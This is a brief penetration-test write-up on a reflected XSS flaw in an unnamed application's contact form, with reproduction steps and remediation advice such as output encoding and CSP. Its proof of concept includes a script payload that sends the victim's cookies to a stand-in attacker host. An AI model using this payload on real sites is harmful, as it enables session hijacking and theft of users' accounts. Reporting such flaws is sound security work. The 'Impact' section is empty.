Penetration Testing Writeup: Reflected XSS in Form Input

Executive Summary

A Reflected Cross-Site Scripting (XSS) vulnerability was found in [Target Application]’s form submission process during a penetration test. This vulnerability allows attackers to inject malicious scripts via form inputs, which are reflected in the response, compromising user security. This report details the issue and provides remediation steps.

Vulnerability Details

Description

The contact form does not sanitize user inputs before reflecting them in the response page. This allows attackers to inject scripts that execute when the response is rendered in the victim’s browser.

Impact

Proof of Concept

  1. Submit the contact form with the name field: <script>alert('Reflected XSS');</script>.
  2. Observe an alert box on the response page.
  3. Malicious payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>.

Steps to Reproduce

  1. Navigate to https://[target-application]/contact.
  2. Enter <script>alert('Reflected XSS');</script> in the name field.
  3. Submit the form and confirm the alert.

Remediation Recommendations

  1. Input Validation:
    • Restrict form inputs to expected characters.
  2. Output Encoding:
    • Encode outputs (e.g., < to &lt;) before rendering.
  3. Content Security Policy:
    • Use CSP: Content-Security-Policy: script-src 'self';.
  4. Secure Coding:
    • Train developers on XSS prevention.
  5. Regular Testing:
    • Conduct periodic security assessments.

Conclusion

The Reflected XSS vulnerability in the contact form of [Target Application] requires urgent remediation to protect users and maintain trust.

References

Form XSS Alert